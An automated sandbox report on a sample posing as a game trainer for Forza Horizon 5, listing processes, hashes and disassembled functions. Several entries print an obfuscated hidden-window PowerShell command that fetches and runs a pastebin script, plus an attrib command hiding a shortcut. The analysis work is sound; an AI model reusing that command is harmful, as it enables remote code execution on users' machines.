Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD0F0.tmp" "c:\Users\user\AppData\Local\Temp\dwdaoju2\CSC6D3B5E607DDC4941A0658A6CD27B5246.TMP"
Imagebase:	0x7ff6889b0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:08:12
Start date:	15/10/2024
Path:	C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\Stand_Trainer_Updated.exe"
Imagebase:	0x22d07850000
File size:	56'320 bytes
MD5 hash:	BECD67D75C5E7C2411E9F481086CA1E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	12:08:12
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:08:21
Start date:	15/10/2024
Path:	C:\Windows\System32\forfiles.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'"
Imagebase:	0x7ff7dd590000
File size:	52'224 bytes
MD5 hash:	9BB67AEA5E26CB136F23F29CC48D6B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:08:21
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:08:22
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	-command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:08:22
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:08:22
Start date:	15/10/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"
Imagebase:	0x7ff7df7c0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:08:26
Start date:	15/10/2024
Path:	C:\Windows\System32\forfiles.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'"
Imagebase:	0x7ff7dd590000
File size:	52'224 bytes
MD5 hash:	9BB67AEA5E26CB136F23F29CC48D6B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:08:26
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:08:26
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	-command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7912, Parent PID: 7832

General

Target ID:	17
Start time:	14:08:26
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Disassembly

Reset < >

Analysis Process: powershell.exePID: 6648, Parent PID: 4056COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFAAC63F9A6 Relevance: 3.0, Strings: 2, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:U&-, xrefs: 00007FFAAC63FE3B
:U&-, xrefs: 00007FFAAC63FA18

Memory Dump Source

Source File: 00000001.00000002.1557608225.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac630000_powershell.jbxd

Similarity

API ID:
String ID: :U&-$:U&-
API String ID: 0-271457029
Opcode ID: 70c6eddfe5ec2a4dfd8607b6684dc455167fa46dddf14bd73af99acc91276603
Instruction ID: 2734458584ebf0e684555960127a1c7f36e951d2b1a2e26553c0cea39ea21585
Opcode Fuzzy Hash: 70c6eddfe5ec2a4dfd8607b6684dc455167fa46dddf14bd73af99acc91276603
Instruction Fuzzy Hash: 8AF1C570508A8D8FEBA9DF28C8557E937D1FF59310F0492AEE84DC7291CB34D8458B82

Function 00007FFAAC640752 Relevance: 3.0, Strings: 2, Instructions: 459
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:U&-, xrefs: 00007FFAAC640BB7
:U&-, xrefs: 00007FFAAC6407C8

Memory Dump Source

Source File: 00000001.00000002.1557608225.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac630000_powershell.jbxd

Similarity

API ID:
String ID: :U&-$:U&-
API String ID: 0-271457029
Opcode ID: 126337ad6fa6e2d8cc980f7f19142394772a0b36d6bc09ed9474630ac4479340
Instruction ID: a0978b9cd5be64d79b94fa05cc49e615bbf61b6defdc50a5ccc9ea3465eace5a
Opcode Fuzzy Hash: 126337ad6fa6e2d8cc980f7f19142394772a0b36d6bc09ed9474630ac4479340
Instruction Fuzzy Hash: C3E1E330908A4E8FEBA9DF28C9557E977D1FB59310F04926ED84DC7291DE78E8848BC1

Function 00007FFAAC708341 Relevance: 6.9, Strings: 5, Instructions: 610
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6, xrefs: 00007FFAAC70867A
r6, xrefs: 00007FFAAC70889B
r6, xrefs: 00007FFAAC70876C
r6, xrefs: 00007FFAAC7086D5
6, xrefs: 00007FFAAC70862A

Memory Dump Source

Source File: 00000001.00000002.1558308632.00007FFAAC700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac700000_powershell.jbxd

Similarity

API ID:
String ID: 6$6$r6$r6$r6
API String ID: 0-4263799821
Opcode ID: 186e8b2dff34dd2bf6b5fdb99fb9e55f962221ddfe15af5f109a6d9a5644813f
Instruction ID: 9e61fd7352b5a06269adc9dcd0429069d43267a171247fcdc931f02969c463a8
Opcode Fuzzy Hash: 186e8b2dff34dd2bf6b5fdb99fb9e55f962221ddfe15af5f109a6d9a5644813f
Instruction Fuzzy Hash: DF023432A0EB899FF7D5DB6898546B57BE1EF56310F0841BAD04DC7593DA28DC0AC381

Function 00007FFAAC708520 Relevance: 5.3, Strings: 4, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6, xrefs: 00007FFAAC70867A
r6, xrefs: 00007FFAAC70876C
r6, xrefs: 00007FFAAC7086D5
6, xrefs: 00007FFAAC70862A

Memory Dump Source

Source File: 00000001.00000002.1558308632.00007FFAAC700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac700000_powershell.jbxd

Similarity

API ID:
String ID: 6$6$r6$r6
API String ID: 0-3088321380
Opcode ID: a7ae750f39563f94dfa4d75180a5728d3c0b94245e952aa5b390ded950844105
Instruction ID: cef0838989e19e8579c8a095e28f23a920352e523b7c80fff75df15c8b60ced0
Opcode Fuzzy Hash: a7ae750f39563f94dfa4d75180a5728d3c0b94245e952aa5b390ded950844105
Instruction Fuzzy Hash: 94A12532A0AA4A9FFBE4DB6888546797BF1FF56315F1841BAD00DC3683DE24DC498781

Function 00007FFAAC70536F Relevance: 1.9, Strings: 1, Instructions: 604
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

}, xrefs: 00007FFAAC7053A1

Memory Dump Source

Source File: 00000001.00000002.1558308632.00007FFAAC700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac700000_powershell.jbxd

Similarity

API ID:
String ID: }
API String ID: 0-642806570
Opcode ID: e2ccda88c90fde82f256ce261ab63ab8897673e106726d21c3a301f18abf493a
Instruction ID: fe2562e457918e33e1678dd40b711ac03cad90aea39be2227f661ca2ffb3b2f9
Opcode Fuzzy Hash: e2ccda88c90fde82f256ce261ab63ab8897673e106726d21c3a301f18abf493a
Instruction Fuzzy Hash: D012227190EB899FEBD5DB2888595B57BF1EF56310B0881BED04DC7193CA28EC0AC785

Function 00007FFAAC64AAA4 Relevance: 1.6, APIs: 1, Instructions: 114
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FFAAC64AB4E

Memory Dump Source

Source File: 00000001.00000002.1557608225.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac630000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1b4e937d1205f50d502a18d93e0c3c757d2db69d59f2142e509b637900c40bf3
Instruction ID: b18d8213904c0c30560835ccc0b09690d92d2a981fef325db9f7ec3a67946ba3
Opcode Fuzzy Hash: 1b4e937d1205f50d502a18d93e0c3c757d2db69d59f2142e509b637900c40bf3
Instruction Fuzzy Hash: FF31E13190CA4C9FDB19DB68D849AE9BBE0FF56320F04822BD009D3252DB74A845CB91

Function 00007FFAAC64A4BA Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FFAAC64AB4E

Memory Dump Source

Source File: 00000001.00000002.1557608225.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac630000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f75656a75ef35eb123a2fe076b6e2cb47837630de56ae4cf2686132356238dc7
Instruction ID: c680b42f3774ff98a48b3712211251e5e939fe0d1662fc69d015756fa5822084
Opcode Fuzzy Hash: f75656a75ef35eb123a2fe076b6e2cb47837630de56ae4cf2686132356238dc7
Instruction Fuzzy Hash: E9217E71908A1C9FDB58DF58D849AE9BBE1FB69321F00822ED00ED3651DB70A8468B81

Function 00007FFAAC70283D Relevance: .3, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1558308632.00007FFAAC700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2509bd0e6a51e8b6f3b02d89d1af336ca10d022e1dc2d721b6e268030461c7b
Instruction ID: c1836d8f53e203dfae4f37f12afbc5b3d5d7c9351154ef3cd0eb0839decc4fec
Opcode Fuzzy Hash: a2509bd0e6a51e8b6f3b02d89d1af336ca10d022e1dc2d721b6e268030461c7b
Instruction Fuzzy Hash: 8B811562A1EA8A9FE7E6DB2C48556B57FE0EF56210B1841FAD08DC7193DD18DC0AC3C1

Function 00007FFAAC702863 Relevance: .1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1558308632.00007FFAAC700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0429936fd007c0f5a32abcbeb178a1a1c13614f3db1ac75cc932dab7b6f0db56
Instruction ID: 5620270f18adc5c97f1d8030bf789e190a8bf9825c14db161842d85c9f973df8
Opcode Fuzzy Hash: 0429936fd007c0f5a32abcbeb178a1a1c13614f3db1ac75cc932dab7b6f0db56
Instruction Fuzzy Hash: 3F41C22291EB9A9FE7D6DB6844986747FF0EF56210B4840FAC04DDB193D928DC09C7C1

Non-executed Functions

Function 00007FFAAC6411D3 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

2O_^, xrefs: 00007FFAAC641201

Memory Dump Source

Source File: 00000001.00000002.1557608225.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac630000_powershell.jbxd

Similarity

API ID:
String ID: 2O_^
API String ID: 0-2974816419
Opcode ID: 8353b451198fe71e8b4753c60720298820571aede2531c5a37f669e4618b5c71
Instruction ID: 858a5279a9d1aa8c19461580011c56f03bed136c4e32d9aa4000b96f42048457
Opcode Fuzzy Hash: 8353b451198fe71e8b4753c60720298820571aede2531c5a37f669e4618b5c71
Instruction Fuzzy Hash: 5D61C25B90C16266E65273B9B4629FBBF10FF82739B08D177D28DCD2938D08688582E5

Function 00007FFAAC6410FA Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1557608225.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac630000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca04231eec50e4afb8eb8f12171ef53f5112393e3cb73edc7e717513006a6db3
Instruction ID: f66fe1697936cfb7333683b3eb78259725509f1cdeae62236d7410c6133aeaec
Opcode Fuzzy Hash: ca04231eec50e4afb8eb8f12171ef53f5112393e3cb73edc7e717513006a6db3
Instruction Fuzzy Hash: CA91155BA0C57266E64273BEF4619FB7F10FF82735B089173D28DCD1938D08288A82E5

Function 00007FFAAC64BCF3 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1557608225.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac630000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cd6707fadac5d61bd84bc6696791171e98da9e5feb1aafdf21cc274c4bad027
Instruction ID: 825e56bc34394a1c27c82772e642ea35bfbeb884031adeeb06faab992e79957a
Opcode Fuzzy Hash: 6cd6707fadac5d61bd84bc6696791171e98da9e5feb1aafdf21cc274c4bad027
Instruction Fuzzy Hash: D631F27B50CA62AB9702BBB8F8655EAB790FF40324B40853AC38ECD163DD14B492C7C4

Function 00007FFAAC704199 Relevance: 6.6, Strings: 5, Instructions: 356COMMON

Download Yara Rule

Strings

r6, xrefs: 00007FFAAC7043CA
6, xrefs: 00007FFAAC70431B
r6, xrefs: 00007FFAAC704461
6, xrefs: 00007FFAAC7042CB
M_H, xrefs: 00007FFAAC7043D4

Memory Dump Source

Source File: 00000001.00000002.1558308632.00007FFAAC700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac700000_powershell.jbxd

Similarity

API ID:
String ID: 6$6$r6$r6$M_H
API String ID: 0-1509768076
Opcode ID: 4f7400448561d4f3ea3502219480babe682f38363fa846a01553671e82a2a35a
Instruction ID: ca16e57eb12e49462612691e2f2d18c98facdf8cf5a9d89311e6974a4b1ce0a8
Opcode Fuzzy Hash: 4f7400448561d4f3ea3502219480babe682f38363fa846a01553671e82a2a35a
Instruction Fuzzy Hash: 8FB10361A0EA9A9FF7E9CB1884556747BE1EF56310F0881BED44DC7192DE28EC0987C0

Analysis Process: Stand_Trainer_Updated.exePID: 4504, Parent PID: 6648COMMON

Execution Graph

Execution Coverage:	15.4%
Dynamic/Decrypted Code Coverage:	0.3%
Signature Coverage:	32.9%
Total number of Nodes:	636
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFAAC661A48 Relevance: 13.2, Strings: 9, Instructions: 1958
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b4, xrefs: 00007FFAAC6623DF
6, xrefs: 00007FFAAC66282E
b4, xrefs: 00007FFAAC661E37
b4, xrefs: 00007FFAAC66200B
b4, xrefs: 00007FFAAC6622FE
b4, xrefs: 00007FFAAC66227B
b4, xrefs: 00007FFAAC6620B5
b4, xrefs: 00007FFAAC661F38
b4, xrefs: 00007FFAAC6621BD

Memory Dump Source

Source File: 00000006.00000002.2564809953.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaac660000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID: 6$b4$b4$b4$b4$b4$b4$b4$b4
API String ID: 0-28069211
Opcode ID: de1887fda7ae48c782369446a62109fc8137de8ac608e5ce8fe2f0575f491669
Instruction ID: bab6c2c88c6877cf45120d8eb3bce4833f3565a952428948c966f0dfd529410d
Opcode Fuzzy Hash: de1887fda7ae48c782369446a62109fc8137de8ac608e5ce8fe2f0575f491669
Instruction Fuzzy Hash: E8F27B70619B45CFE399EF28C044AAAB7E1FF99304F50957DE04EC72A2CA35E845CB85

Function 00007FFB22652010 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FFB22652039
Process32First.KERNEL32 ref: 00007FFB22652062
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB2265207C
Process32Next.KERNEL32 ref: 00007FFB2265208D

Strings

ForzaHorizon5.exe, xrefs: 00007FFB22652070

Memory Dump Source

Source File: 00000006.00000002.2565287694.00007FFB22651000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFB22650000, based on PE: true

Associated: 00000006.00000002.2565258698.00007FFB22650000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565374161.00007FFB22656000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565423567.00007FFB22658000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2565454500.00007FFB22659000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb22650000_Stand_Trainer_Updated.jbxd

Similarity

API ID: Process32$CreateFirstNextSnapshotToolhelp32strcmp
String ID: ForzaHorizon5.exe
API String ID: 2015246625-4184888841
Opcode ID: 7359882a146a30dbad1e41fb6eb8441f01d5a7ba2dc1f03e1a21fda49bb60f06
Instruction ID: a326431277584aea0f05c4e7280ae13e0519b8ba7b63d8a3a898684e16e0e635
Opcode Fuzzy Hash: 7359882a146a30dbad1e41fb6eb8441f01d5a7ba2dc1f03e1a21fda49bb60f06
Instruction Fuzzy Hash: DE512CB7A29BC182FA528B35EC5026A73A4FB88B90F488131DA5E87764DFBCD455C740

Function 00007FFAAC66152C Relevance: 2.9, Strings: 2, Instructions: 414
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b4, xrefs: 00007FFAAC661898
b4, xrefs: 00007FFAAC661999

Memory Dump Source

Source File: 00000006.00000002.2564809953.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaac660000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID: b4$b4
API String ID: 0-1499902546
Opcode ID: 8700a8d17c066fcd57a2ce18d15cce4d528b2c54d0ce1684f8865780b8cd274f
Instruction ID: b7bd7792d99ab0e27eb12cf7e4ec6eed97aef846a6790d669425b77b29c77d62
Opcode Fuzzy Hash: 8700a8d17c066fcd57a2ce18d15cce4d528b2c54d0ce1684f8865780b8cd274f
Instruction Fuzzy Hash: DDF13870619A45CFE399EF28C055B9AB7E1FF89300F50957EE08EC7292CA35E841CB45

Function 00007FFAAC6610ED Relevance: 2.6, Strings: 2, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

j&, xrefs: 00007FFAAC66117E
@n&, xrefs: 00007FFAAC661142

Memory Dump Source

Source File: 00000006.00000002.2564809953.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaac660000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID: j&$@n&
API String ID: 0-4189027139
Opcode ID: b66ca4ea2434c409b124a0883e1d041767e8cd581b667df6d9da697194737fea
Instruction ID: c758f1fe195fe914ecb0a046e75ed2e3249c4d8ad21a5681ea55317855cdd2e1
Opcode Fuzzy Hash: b66ca4ea2434c409b124a0883e1d041767e8cd581b667df6d9da697194737fea
Instruction Fuzzy Hash: 00310997E1EA865BF79EE77888565B5EBD1FF62340B08A176D08EC3193DC19E80942C0

Function 00007FFAAC660770 Relevance: .1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2564809953.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaac660000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1778f03b9567371556c83c611935d169559b6e47d46ef26cedd7f0ba253daa1b
Instruction ID: 88eb1c8df260ba7b55aea5091cd4ec53e3e6a323a51868abe1f04eaeed7d7619
Opcode Fuzzy Hash: 1778f03b9567371556c83c611935d169559b6e47d46ef26cedd7f0ba253daa1b
Instruction Fuzzy Hash: B941D652D4FA869FF75AD77858661A9BF90EF22210B08A1BBD04C8B1D3ED18A80D42C5

Function 00007FFAAC66132F Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2564809953.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaac660000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c03a05bf2d53332616b0a0148c9ef38881067ccab6569503b815eef2efd9f064
Instruction ID: d8e7e01363701ff53e8ae010a3b7e6730327c8d3e820e7f1b0df25dce10e24ab
Opcode Fuzzy Hash: c03a05bf2d53332616b0a0148c9ef38881067ccab6569503b815eef2efd9f064
Instruction Fuzzy Hash: 7C417652B29E4A4BF69DEB3884A55F6A3D1FFA5310F40A47D914FC3293DC28E80A47C4

Function 00007FFAAC6645A1 Relevance: .1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2564809953.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaac660000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5679770645bef816539e2b43060e1df51451643fc9ec1620a3e3230e85e81c9
Instruction ID: 985cbd1ed0c479f22a8d3bb240fba49209e390e0ce769201085c0165e6681def
Opcode Fuzzy Hash: f5679770645bef816539e2b43060e1df51451643fc9ec1620a3e3230e85e81c9
Instruction Fuzzy Hash: 4B21917190CB4C8FDB68DF59D84AAFABBF0EB65321F00816FD04AD3552DA74A809CB51

Function 00007FFAAC6644F5 Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2564809953.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaac660000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eff3f172c1612f9b28d5721565baaf548d9dc074905f6a880347a426f87498a
Instruction ID: 9b2f738864bf42856c58eedd85e82a8e4f82818b804a280aeb3185eb8375bf42
Opcode Fuzzy Hash: 9eff3f172c1612f9b28d5721565baaf548d9dc074905f6a880347a426f87498a
Instruction Fuzzy Hash: CD214F6290EBC68FF75BD7384465160BFA09F5330471965EAC08DCB5A2E904980DC392

Function 00007FFAAC6607C3 Relevance: .1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2564809953.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaac660000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff9ca4f5a7f38476e742817cd2b03e3c373df9e088811b19f2e4d86be0fe48ee
Instruction ID: e4317ad613d332909f0d8f64ffe7af3e5c63a599bedb0baab1a4510b07018cea
Opcode Fuzzy Hash: ff9ca4f5a7f38476e742817cd2b03e3c373df9e088811b19f2e4d86be0fe48ee
Instruction Fuzzy Hash: B9217562D5E6868FF75ED778446A095FFA0EF23210708E1BAC44C8B193EE14A80D87D5

Function 00007FFAAC660835 Relevance: .1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2564809953.00007FFAAC660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaac660000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
